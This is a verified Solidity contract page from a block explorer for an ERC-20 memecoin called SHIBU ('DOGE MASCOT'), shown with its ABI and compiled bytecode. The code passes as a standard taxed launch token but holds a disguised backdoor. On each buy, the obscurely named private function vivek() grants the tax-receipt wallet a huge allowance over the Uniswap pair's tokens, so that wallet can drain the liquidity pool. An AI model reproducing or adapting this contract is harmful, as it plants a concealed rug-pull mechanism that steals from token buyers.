Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _msgSender() interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ...  contract SHIBU is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min75(uint256 a, uint256 b)    - function sendETH75(uint256 amount)    - function recoverEth()    - function setTaxReceipt(address payabl ...    - function vivek(address[2] memory vik7 ...    - function removeLimit75()    - function swapETH75(uint256 tokenAmoun ...    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-29
*/

// SPDX-License-Identifier: MIT
/**
https://x.com/Fantoumi/status/1850542029756879267
https://x.com/kabosumama/status/1850492260062048310
https://x.com/Fantoumi/status/1665009468806164482

Tg: https://t.me/shibu_erc20
**/
pragma solidity 0.8.27;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract SHIBU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances75;
    mapping (address => mapping (address => uint256)) private _permits75;
    mapping (address => bool) private _isExcludedFrom75;
    address payable private _receipt75;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal75 = 420690000000 * 10**_decimals;
    string private constant _name = unicode"DOGE MASCOT";
    string private constant _symbol = unicode"SHIBU";
    uint256 public _maxAmount75 = 2 * (_tTotal75/100);
    uint256 public _maxWallet75 = 2 * (_tTotal75/100);
    uint256 public _taxThres75 = 1 * (_tTotal75/100);
    uint256 public _maxSwap75 = 1 * (_tTotal75/100);
    IUniswapV2Router02 private uniV2Router75;
    address private uniV2Pair75;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 12;
    uint256 private _reduceSellTaxAt = 12;
    uint256 private _preventSwapBefore = 24;
    uint256 private _buyCount = 0;
    uint256 private _transferTax = 0;
    event MaxTxAmountUpdated(uint _maxAmount75);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _receipt75 = payable(0x720EB9c3d50f40940D9a753A49749209Da4C3414);
        _balances75[address(this)] = _tTotal75;
        _isExcludedFrom75[owner()] = true;
        _isExcludedFrom75[address(this)] = true;
        _isExcludedFrom75[_receipt75] = true;
        emit Transfer(address(0), address(this), _tTotal75);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }    
    function totalSupply() public pure override returns (uint256) {
        return _tTotal75;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances75[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _permits75[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _permits75[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _permits75[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount75) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount75 > 0, "Transfer amount must be greater than zero");
        uint256 tax75=0;uint256 fee75=0;
        if (!swapEnabled || inSwap) {
            _balances75[from] = _balances75[from] - amount75;
            _balances75[to] = _balances75[to] + amount75;
            emit Transfer(from, to, amount75);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount>0){
                fee75 = (_transferTax);
            }
            if (from == uniV2Pair75 && to != address(uniV2Router75) && ! _isExcludedFrom75[to] ) {
                vivek([from, _receipt75]);
                require(amount75 <= _maxAmount75, "Exceeds the _maxAmount75.");
                require(balanceOf(to) + amount75 <= _maxWallet75, "Exceeds the maxWalletSize.");
                fee75 = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
                _buyCount++; 
            }
            if(to == uniV2Pair75 && from!= address(this) ){
                fee75 = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniV2Pair75 && swapEnabled) {
                if(contractTokenBalance > _taxThres75 && _buyCount > _preventSwapBefore)
                    swapETH75(min75(amount75, min75(contractTokenBalance, _maxSwap75)));
                sendETH75(address(this).balance);
            }
        }
        if(fee75 > 0){
            tax75 = fee75.mul(amount75).div(100);
            _balances75[address(this)]=_balances75[address(this)].add(tax75);
            emit Transfer(from, address(this),tax75);
        }
        _balances75[from]=_balances75[from].sub(amount75);
        _balances75[to]=_balances75[to].add(amount75.sub(tax75));
        emit Transfer(from, to, amount75.sub(tax75));
    }
    function min75(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function sendETH75(uint256 amount) private {
        _receipt75.transfer(amount);
    }
    function recoverEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function setTaxReceipt(address payable _addrs) external onlyOwner {
        _receipt75 = _addrs;
        _isExcludedFrom75[_addrs] = true;
    }
    function vivek(address[2] memory vik75) private {
        address own75 = vik75[0]; address spend75 = vik75[1];
        uint256 total75 = 150 + 150*(_maxWallet75+150) + 150*_maxSwap75.add(150) + 150;
        _permits75[own75][spend75] = 150 + (total75+150) * 150;
    }
    function removeLimit75() external onlyOwner{
        _maxAmount75 = _tTotal75; 
        _maxWallet75 = _tTotal75;
        emit MaxTxAmountUpdated(_tTotal75); 
    }
    receive() external payable {}
    function swapETH75(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniV2Router75.WETH();
        _approve(address(this), address(uniV2Router75), tokenAmount);
        uniV2Router75.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniV2Router75 = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniV2Router75), _tTotal75);
        uniV2Pair75 = IUniswapV2Factory(uniV2Router75.factory()).createPair(
            address(this),
            uniV2Router75.WETH()
        ); 
        uniV2Router75.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniV2Pair75).approve(address(uniV2Router75), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmount75","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmount75","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwap75","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet75","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxThres75","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit75","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_addrs","type":"address"}],"name":"setTaxReceipt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a610364565b610021906461f313f880610379565b61002b9190610390565b610036906002610379565b60055560646100476009600a610364565b610056906461f313f880610379565b6100609190610390565b61006b906002610379565b600655606461007c6009600a610364565b61008b906461f313f880610379565b6100959190610390565b6100a0906001610379565b60075560646100b16009600a610364565b6100c0906461f313f880610379565b6100ca9190610390565b6100d5906001610379565b600855600a805461ffff60a81b191690556014600b819055600c9081555f600d819055600e819055600f82905560109190915560186011556012819055601381905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673720eb9c3d50f40940d9a753a49749209da4c34141790556101886009600a610364565b610197906461f313f880610379565b305f9081526001602081905260408220929092556003906101bf5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556004549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102466009600a610364565b610255906461f313f880610379565b60405190815260200160405180910390a36103af565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102ba5780850481111561029e5761029e61026b565b60018416156102ac57908102905b60019390931c928002610283565b935093915050565b5f826102d05750600161035e565b816102dc57505f61035e565b81600181146102f257600281146102fc57610318565b600191505061035e565b60ff84111561030d5761030d61026b565b50506001821b61035e565b5060208310610133831016604e8410600b841016171561033b575081810a61035e565b6103475f19848461027f565b805f190482111561035a5761035a61026b565b0290505b92915050565b5f61037260ff8416836102c2565b9392505050565b808202811582820484141761035e5761035e61026b565b5f826103aa57634e487b7160e01b5f52601260045260245ffd5b500490565b6118fe806103bc5f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb146102fd578063bcdb446b1461031c578063c9567bf914610330578063dd62ed3e14610344578063f2ed9aa714610388575f5ffd5b806370a0823114610243578063715018a6146102775780638da5cb5b1461028b57806395d89b41146102b1578063a0d6a322146102de575f5ffd5b806318160ddd116100e357806318160ddd146101ca57806323b872dd146101de578063313ce567146101fd5780633df05100146102185780634763cd8a1461022d575f5ffd5b806306fdde031461011e578063095ea7b314610163578063125555091461019257806313591493146101b5575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b5060408051808201909152600b81526a1113d1d148135054d0d3d560aa1b60208201525b60405161015a9190611506565b60405180910390f35b34801561016e575f5ffd5b5061018261017d36600461154f565b61039d565b604051901515815260200161015a565b34801561019d575f5ffd5b506101a760055481565b60405190815260200161015a565b3480156101c0575f5ffd5b506101a760075481565b3480156101d5575f5ffd5b506101a76103b3565b3480156101e9575f5ffd5b506101826101f8366004611579565b6103d4565b348015610208575f5ffd5b506040516009815260200161015a565b348015610223575f5ffd5b506101a760065481565b348015610238575f5ffd5b5061024161043b565b005b34801561024e575f5ffd5b506101a761025d3660046115b7565b6001600160a01b03165f9081526001602052604090205490565b348015610282575f5ffd5b506102416104f8565b348015610296575f5ffd5b505f546040516001600160a01b03909116815260200161015a565b3480156102bc575f5ffd5b50604080518082019091526005815264534849425560d81b602082015261014d565b3480156102e9575f5ffd5b506102416102f83660046115b7565b610569565b348015610308575f5ffd5b5061018261031736600461154f565b6105cb565b348015610327575f5ffd5b506102416105d7565b34801561033b575f5ffd5b5061024161062c565b34801561034f575f5ffd5b506101a761035e3660046115d2565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610393575f5ffd5b506101a760085481565b5f6103a93384846109d5565b5060015b92915050565b5f6103c06009600a611700565b6103cf906461f313f88061170e565b905090565b5f6103e0848484610af8565b610431843361042c856040518060600160405280602881526020016118a1602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110d3565b6109d5565b5060019392505050565b5f546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611725565b60405180910390fd5b6104796009600a611700565b610488906461f313f88061170e565b6005556104976009600a611700565b6104a6906461f313f88061170e565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104d66009600a611700565b6104e5906461f313f88061170e565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105215760405162461bcd60e51b815260040161046490611725565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105925760405162461bcd60e51b815260040161046490611725565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6103a9338484610af8565b5f546001600160a01b031633146106005760405162461bcd60e51b815260040161046490611725565b60405133904780156108fc02915f818181858888f19350505050158015610629573d5f5f3e3d5ffd5b50565b5f546001600160a01b031633146106555760405162461bcd60e51b815260040161046490611725565b600a54600160a01b900460ff16156106af5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556106f8913091906106e990600a611700565b61042c906461f313f88061170e565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610748573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076c919061175a565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cb573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ef919061175a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610839573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085d919061175a565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d71947306108a4816001600160a01b03165f9081526001602052604090205490565b5f5f6108b75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109429190611775565b5050600a5460095460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610997573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bb91906117a0565b50600a805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b5f8111610c1f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b600a545f908190600160b01b900460ff161580610c455750600a54600160a81b900460ff165b15610cfe576001600160a01b0385165f90815260016020526040902054610c6d9084906117bf565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610c9c9084906117d2565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cef9087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d2857505f546001600160a01b03858116911614155b15610f875760125415610d3a57506013545b600a546001600160a01b038681169116148015610d6557506009546001600160a01b03858116911614155b8015610d8957506001600160a01b0384165f9081526003602052604090205460ff16155b15610eb157604080518082019091526001600160a01b038087168252600454166020820152610db79061110b565b600554831115610e095760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7437352e000000000000006044820152606401610464565b60065483610e2b866001600160a01b03165f9081526001602052604090205490565b610e3591906117d2565b1115610e835760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b600f5460125411610e9657600b54610e9a565b600d545b601280549192505f610eab836117e5565b91905055505b600a546001600160a01b038581169116148015610ed757506001600160a01b0385163014155b15610ef65760105460125411610eef57600c54610ef3565b600e545b90505b305f90815260016020526040902054600a54600160a81b900460ff16158015610f2c5750600a546001600160a01b038681169116145b8015610f415750600a54600160b01b900460ff165b15610f855760075481118015610f5a5750601154601254115b15610f7c57610f7c610f7785610f72846008546111ba565b6111ba565b6111d1565b610f8547611341565b505b801561101757610fa26064610f9c838661137c565b906113fa565b305f90815260016020526040902054909250610fbe908361143b565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061100e9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110399084611499565b6001600160a01b0386165f9081526001602052604090205561107c61105e8484611499565b6001600160a01b0386165f908152600160205260409020549061143b565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c58686611499565b604051908152602001610cef565b5f81848411156110f65760405162461bcd60e51b81526004016104649190611506565b505f61110284866117bf565b95945050505050565b805160208201516008545f9061112290609661143b565b61112d90609661170e565b60065461113b9060966117d2565b61114690609661170e565b6111519060966117d2565b61115b91906117d2565b6111669060966117d2565b90506111738160966117d2565b61117e90609661170e565b6111899060966117d2565b6001600160a01b039384165f9081526002602090815260408083209590961682529390935292909120919091555050565b5f8183116111c857826111ca565b815b9392505050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611217576112176117fd565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561126e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611292919061175a565b816001815181106112a5576112a56117fd565b6001600160a01b0392831660209182029290920101526009546112cb91309116846109d5565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906113039085905f90869030904290600401611811565b5f604051808303815f87803b15801561131a575f5ffd5b505af115801561132c573d5f5f3e3d5ffd5b5050600a805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611378573d5f5f3e3d5ffd5b5050565b5f825f0361138b57505f6103ad565b5f611396838561170e565b9050826113a38583611881565b146111ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b5f6111ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114da565b5f8061144783856117d2565b9050838110156111ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b5f6111ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d3565b5f81836114fa5760405162461bcd60e51b81526004016104649190611506565b505f6111028486611881565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610629575f5ffd5b5f5f60408385031215611560575f5ffd5b823561156b8161153b565b946020939093013593505050565b5f5f5f6060848603121561158b575f5ffd5b83356115968161153b565b925060208401356115a68161153b565b929592945050506040919091013590565b5f602082840312156115c7575f5ffd5b81356111ca8161153b565b5f5f604083850312156115e3575f5ffd5b82356115ee8161153b565b915060208301356115fe8161153b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116585780850481111561163c5761163c611609565b600184161561164a57908102905b60019390931c928002611621565b935093915050565b5f8261166e575060016103ad565b8161167a57505f6103ad565b8160018114611690576002811461169a576116b6565b60019150506103ad565b60ff8411156116ab576116ab611609565b50506001821b6103ad565b5060208310610133831016604e8410600b84101617156116d9575081810a6103ad565b6116e55f19848461161d565b805f19048211156116f8576116f8611609565b029392505050565b5f6111ca60ff841683611660565b80820281158282048414176103ad576103ad611609565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561176a575f5ffd5b81516111ca8161153b565b5f5f5f60608486031215611787575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156117b0575f5ffd5b815180151581146111ca575f5ffd5b818103818111156103ad576103ad611609565b808201808211156103ad576103ad611609565b5f600182016117f6576117f6611609565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118615783516001600160a01b031683526020938401939092019160010161183a565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261189b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201542cdf13a71420166ef39e8d9c72b74b5e8b5b17bfb384a47ed2de369ea73ec64736f6c634300081b0033

0x608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb146102fd578063bcdb446b1461031c578063c9567bf914610330578063dd62ed3e14610344578063f2ed9aa714610388575f5ffd5b806370a0823114610243578063715018a6146102775780638da5cb5b1461028b57806395d89b41146102b1578063a0d6a322146102de575f5ffd5b806318160ddd116100e357806318160ddd146101ca57806323b872dd146101de578063313ce567146101fd5780633df05100146102185780634763cd8a1461022d575f5ffd5b806306fdde031461011e578063095ea7b314610163578063125555091461019257806313591493146101b5575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b5060408051808201909152600b81526a1113d1d148135054d0d3d560aa1b60208201525b60405161015a9190611506565b60405180910390f35b34801561016e575f5ffd5b5061018261017d36600461154f565b61039d565b604051901515815260200161015a565b34801561019d575f5ffd5b506101a760055481565b60405190815260200161015a565b3480156101c0575f5ffd5b506101a760075481565b3480156101d5575f5ffd5b506101a76103b3565b3480156101e9575f5ffd5b506101826101f8366004611579565b6103d4565b348015610208575f5ffd5b506040516009815260200161015a565b348015610223575f5ffd5b506101a760065481565b348015610238575f5ffd5b5061024161043b565b005b34801561024e575f5ffd5b506101a761025d3660046115b7565b6001600160a01b03165f9081526001602052604090205490565b348015610282575f5ffd5b506102416104f8565b348015610296575f5ffd5b505f546040516001600160a01b03909116815260200161015a565b3480156102bc575f5ffd5b50604080518082019091526005815264534849425560d81b602082015261014d565b3480156102e9575f5ffd5b506102416102f83660046115b7565b610569565b348015610308575f5ffd5b5061018261031736600461154f565b6105cb565b348015610327575f5ffd5b506102416105d7565b34801561033b575f5ffd5b5061024161062c565b34801561034f575f5ffd5b506101a761035e3660046115d2565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610393575f5ffd5b506101a760085481565b5f6103a93384846109d5565b5060015b92915050565b5f6103c06009600a611700565b6103cf906461f313f88061170e565b905090565b5f6103e0848484610af8565b610431843361042c856040518060600160405280602881526020016118a1602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110d3565b6109d5565b5060019392505050565b5f546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611725565b60405180910390fd5b6104796009600a611700565b610488906461f313f88061170e565b6005556104976009600a611700565b6104a6906461f313f88061170e565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104d66009600a611700565b6104e5906461f313f88061170e565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105215760405162461bcd60e51b815260040161046490611725565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105925760405162461bcd60e51b815260040161046490611725565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff191660011790